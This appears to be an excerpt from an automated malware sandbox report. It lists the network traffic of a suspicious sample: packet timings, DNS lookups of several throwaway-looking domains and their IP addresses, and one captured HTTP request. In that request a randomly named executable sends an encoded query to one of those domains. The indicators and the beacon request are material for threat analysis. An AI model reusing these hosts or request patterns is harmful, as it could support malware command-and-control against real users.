                                                      Nov 25, 2024 15:27:57.062995911 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:57.063030958 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:57.063100100 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:57.063216925 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:57.068638086 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:57.188673019 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:28:12.733036041 CET4978480192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:12.854362011 CET8049784217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:12.854468107 CET4978480192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:12.871068954 CET4978480192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:12.992883921 CET8049784217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:14.350492001 CET8049784217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:14.356535912 CET8049784217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:14.356589079 CET4978480192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:14.383795977 CET4978480192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:15.402935028 CET4979080192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:15.524497032 CET8049790217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:15.524581909 CET4979080192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:15.540673971 CET4979080192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:15.661947012 CET8049790217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:16.935332060 CET8049790217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:16.935508013 CET8049790217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:16.936018944 CET4979080192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:17.055852890 CET4979080192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:18.075248957 CET4979780192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:18.195410967 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.195602894 CET4979780192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:18.212892056 CET4979780192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:18.333461046 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333558083 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333571911 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333584070 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333897114 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333908081 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333920002 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333931923 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:18.333978891 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:19.686338902 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:19.686399937 CET8049797217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:19.686562061 CET4979780192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:19.727660894 CET4979780192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:20.747056007 CET4980280192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:20.867216110 CET8049802217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:20.867408991 CET4980280192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:20.877403021 CET4980280192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:20.997426033 CET8049802217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:22.248164892 CET8049802217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:22.248276949 CET8049802217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:22.248385906 CET4980280192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:22.248761892 CET8049802217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:22.248809099 CET4980280192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:22.251123905 CET4980280192.168.2.4217.160.0.113
                                                      Nov 25, 2024 15:28:22.372937918 CET8049802217.160.0.113192.168.2.4
                                                      Nov 25, 2024 15:28:28.794162035 CET4982380192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:28.914114952 CET8049823114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:28.914199114 CET4982380192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:28.930483103 CET4982380192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:29.050791979 CET8049823114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:30.446542025 CET4982380192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:30.571094990 CET8049823114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:30.571145058 CET4982380192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:31.465044022 CET4982980192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:31.589153051 CET8049829114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:31.589303017 CET4982980192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:31.604984999 CET4982980192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:31.827495098 CET8049829114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:33.118319988 CET4982980192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:33.238975048 CET8049829114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:33.239079952 CET4982980192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:34.137106895 CET4983580192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:34.257230043 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.257375002 CET4983580192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:34.273468018 CET4983580192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:34.398457050 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398487091 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398566008 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398587942 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398669004 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398741961 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398793936 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398804903 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:34.398842096 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:35.790146112 CET4983580192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:35.911545992 CET8049835114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:35.911633015 CET4983580192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:36.808728933 CET4984480192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:36.928744078 CET8049844114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:36.928894043 CET4984480192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:36.973354101 CET4984480192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:37.094407082 CET8049844114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:58.900536060 CET8049844114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:28:58.900675058 CET4984480192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:58.901588917 CET4984480192.168.2.4114.55.89.54
                                                      Nov 25, 2024 15:28:59.022018909 CET8049844114.55.89.54192.168.2.4
                                                      Nov 25, 2024 15:29:04.465939999 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:04.586025953 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:04.586214066 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:04.602395058 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:04.723782063 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:06.118254900 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:06.430711985 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:06.631109953 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:06.631115913 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:06.631367922 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:06.631367922 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:06.631458998 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:06.631501913 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:06.632782936 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:06.632844925 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:06.632894039 CET8049907154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:06.632941008 CET4990780192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:07.140028954 CET4991380192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:07.260241985 CET8049913154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:07.260361910 CET4991380192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:07.276181936 CET4991380192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:07.401316881 CET8049913154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:08.790198088 CET4991380192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:08.912717104 CET8049913154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:08.912767887 CET4991380192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:09.809238911 CET4991980192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:09.929322958 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:09.929478884 CET4991980192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:09.946055889 CET4991980192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:10.066178083 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066199064 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066273928 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066283941 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066468954 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066478014 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066566944 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066577911 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:10.066622019 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:11.462074995 CET4991980192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:11.585491896 CET8049919154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:11.585745096 CET4991980192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:12.480761051 CET4992580192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:12.603132963 CET8049925154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:12.603760004 CET4992580192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:12.614312887 CET4992580192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:12.734826088 CET8049925154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:14.293473959 CET8049925154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:14.294244051 CET8049925154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:14.294339895 CET4992580192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:14.296396017 CET4992580192.168.2.4154.205.159.116
                                                      Nov 25, 2024 15:29:14.417823076 CET8049925154.205.159.116192.168.2.4
                                                      Nov 25, 2024 15:29:20.050607920 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:20.177673101 CET804994138.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:20.177858114 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:20.195678949 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:20.340296030 CET804994138.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:21.712001085 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:21.759259939 CET804994138.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:21.759373903 CET804994138.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:21.759422064 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:21.759422064 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:21.838852882 CET804994138.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:21.838938951 CET4994180192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:22.731472969 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:22.851775885 CET804994738.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:22.851845026 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:22.867957115 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:22.988563061 CET804994738.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:24.384007931 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:24.533157110 CET804994738.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:24.533169031 CET804994738.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:24.533217907 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:24.533257961 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:24.534876108 CET804994738.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:24.534920931 CET4994780192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:25.404576063 CET4995480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:25.524465084 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.524665117 CET4995480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:25.541716099 CET4995480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:25.665266037 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.671005011 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.671021938 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.672591925 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.672606945 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.676501036 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.676589012 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.684865952 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:25.686484098 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:27.055860996 CET4995480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:27.177853107 CET804995438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:27.180633068 CET4995480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:28.075799942 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:28.196000099 CET804996438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:28.196144104 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:28.206314087 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:28.327558994 CET804996438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:29.795347929 CET804996438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:29.796094894 CET804996438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:29.796142101 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:29.798178911 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:30.102595091 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:30.464997053 CET804996438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:30.466922045 CET804996438.181.21.178192.168.2.4
                                                      Nov 25, 2024 15:29:30.466994047 CET4996480192.168.2.438.181.21.178
                                                      Nov 25, 2024 15:29:44.851597071 CET4999980192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:44.975481987 CET804999923.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:44.975609064 CET4999980192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:44.991846085 CET4999980192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:45.116604090 CET804999923.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:46.215203047 CET804999923.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:46.215256929 CET4999980192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:46.335194111 CET804999923.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:46.335354090 CET4999980192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:46.493347883 CET4999980192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:46.730819941 CET804999923.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:47.512095928 CET5000680192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:47.633142948 CET805000623.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:47.633238077 CET5000680192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:47.650696039 CET5000680192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:47.774153948 CET805000623.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:48.532358885 CET805000623.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:48.532491922 CET5000680192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:49.165210962 CET5000680192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:49.296572924 CET805000623.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.183871984 CET5001280192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:50.305928946 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.306025982 CET5001280192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:50.322809935 CET5001280192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:50.443057060 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443104982 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443181038 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443192005 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443331957 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443346024 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443358898 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443393946 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:50.443516970 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:51.239304066 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:51.239366055 CET5001280192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:51.837155104 CET5001280192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:51.957325935 CET805001223.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:52.863709927 CET5001880192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:52.984154940 CET805001823.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:52.984266043 CET5001880192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:52.994307041 CET5001880192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:53.117247105 CET805001823.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:53.881148100 CET805001823.167.152.41192.168.2.4
                                                      Nov 25, 2024 15:29:53.881306887 CET5001880192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:53.882719040 CET5001880192.168.2.423.167.152.41
                                                      Nov 25, 2024 15:29:54.002897024 CET805001823.167.152.41192.168.2.4

                                                      UDP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Nov 25, 2024 15:27:54.942404985 CET4986753192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:27:55.280497074 CET53498671.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:28:12.106560946 CET6507953192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:28:12.730436087 CET53650791.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:28:27.262619972 CET6395153192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:28:28.258810043 CET6395153192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:28:28.789536953 CET53639511.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:28:28.789550066 CET53639511.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:29:03.919080019 CET6201153192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:29:04.463229895 CET53620111.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:29:19.309642076 CET5735253192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:29:20.047483921 CET53573521.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:29:34.870577097 CET5510053192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:29:35.414299965 CET53551001.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:29:43.481947899 CET6429253192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:29:44.493486881 CET6429253192.168.2.41.1.1.1
                                                      Nov 25, 2024 15:29:44.849093914 CET53642921.1.1.1192.168.2.4
                                                      Nov 25, 2024 15:29:44.849302053 CET53642921.1.1.1192.168.2.4

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Nov 25, 2024 15:27:54.942404985 CET192.168.2.41.1.1.10xf263Standard query (0)www.supernutra01.onlineA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:28:12.106560946 CET192.168.2.41.1.1.10x91ddStandard query (0)www.prestigerugz.infoA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:28:27.262619972 CET192.168.2.41.1.1.10x8f30Standard query (0)www.buckser.infoA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:28:28.258810043 CET192.168.2.41.1.1.10x8f30Standard query (0)www.buckser.infoA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:03.919080019 CET192.168.2.41.1.1.10x159bStandard query (0)www.jijievo.siteA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:19.309642076 CET192.168.2.41.1.1.10x170fStandard query (0)www.44ynh.topA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:34.870577097 CET192.168.2.41.1.1.10x1bbeStandard query (0)www.setwayidiomas.onlineA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:43.481947899 CET192.168.2.41.1.1.10x56aeStandard query (0)www.75178.clubA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.493486881 CET192.168.2.41.1.1.10x56aeStandard query (0)www.75178.clubA (IP address)IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Nov 25, 2024 15:27:55.280497074 CET1.1.1.1192.168.2.40xf263No error (0)www.supernutra01.online104.21.24.198A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:27:55.280497074 CET1.1.1.1192.168.2.40xf263No error (0)www.supernutra01.online172.67.220.36A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:28:12.730436087 CET1.1.1.1192.168.2.40x91ddNo error (0)www.prestigerugz.info217.160.0.113A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:28:28.789536953 CET1.1.1.1192.168.2.40x8f30No error (0)www.buckser.info114.55.89.54A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:28:28.789550066 CET1.1.1.1192.168.2.40x8f30No error (0)www.buckser.info114.55.89.54A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)www.jijievo.siteall.wjscdn.comCNAME (Canonical name)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)all.wjscdn.com154.205.159.116A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)all.wjscdn.com38.54.112.227A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)all.wjscdn.com154.90.35.240A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)all.wjscdn.com154.90.58.209A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)all.wjscdn.com154.205.143.51A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:04.463229895 CET1.1.1.1192.168.2.40x159bNo error (0)all.wjscdn.com154.205.156.26A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:20.047483921 CET1.1.1.1192.168.2.40x170fNo error (0)www.44ynh.top44ynh.topCNAME (Canonical name)IN (0x0001)false
                                                      Nov 25, 2024 15:29:20.047483921 CET1.1.1.1192.168.2.40x170fNo error (0)44ynh.top38.181.21.178A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:35.414299965 CET1.1.1.1192.168.2.40x1bbeServer failure (2)www.setwayidiomas.onlinenonenoneA (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.849093914 CET1.1.1.1192.168.2.40x56aeNo error (0)www.75178.clubuaslkd.skasdhu.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.849093914 CET1.1.1.1192.168.2.40x56aeNo error (0)uaslkd.skasdhu.huhusddfnsuegcdn.comgtml.huksa.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.849093914 CET1.1.1.1192.168.2.40x56aeNo error (0)gtml.huksa.huhusddfnsuegcdn.com23.167.152.41A (IP address)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.849302053 CET1.1.1.1192.168.2.40x56aeNo error (0)www.75178.clubuaslkd.skasdhu.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.849302053 CET1.1.1.1192.168.2.40x56aeNo error (0)uaslkd.skasdhu.huhusddfnsuegcdn.comgtml.huksa.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                      Nov 25, 2024 15:29:44.849302053 CET1.1.1.1192.168.2.40x56aeNo error (0)gtml.huksa.huhusddfnsuegcdn.com23.167.152.41A (IP address)IN (0x0001)false

                                                      HTTP Request Dependency Graph

                                                      • www.supernutra01.online
                                                      • www.prestigerugz.info
                                                      • www.buckser.info
                                                      • www.jijievo.site
                                                      • www.44ynh.top
                                                      • www.75178.club

                                                      HTTP Packets

                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      0192.168.2.449748104.21.24.198803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:27:55.418246984 CET479OUTGET /q3v1/?fT=ttlTvpWhdN8TOVxP&vP=fC5DX2ZaB+U22tqbLO3TDxU7YJzfDko0GDmIeZjVqXUIxO0lfLVpCEprOw8FFlXlAKcfYmOgw3KJO3baxmfc0E1tB/T88Ahd3/Is7XNEE2gmn05mRDUrFrs= HTTP/1.1
                                                      Host: www.supernutra01.online
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Connection: close
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Nov 25, 2024 15:27:56.869744062 CET1236INHTTP/1.1 200 OK
                                                      Date: Mon, 25 Nov 2024 14:27:56 GMT
                                                      Content-Type: text/html
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      Last-Modified: Tue, 24 Sep 2024 07:18:31 GMT
                                                      Accept-Ranges: bytes
                                                      cf-cache-status: DYNAMIC
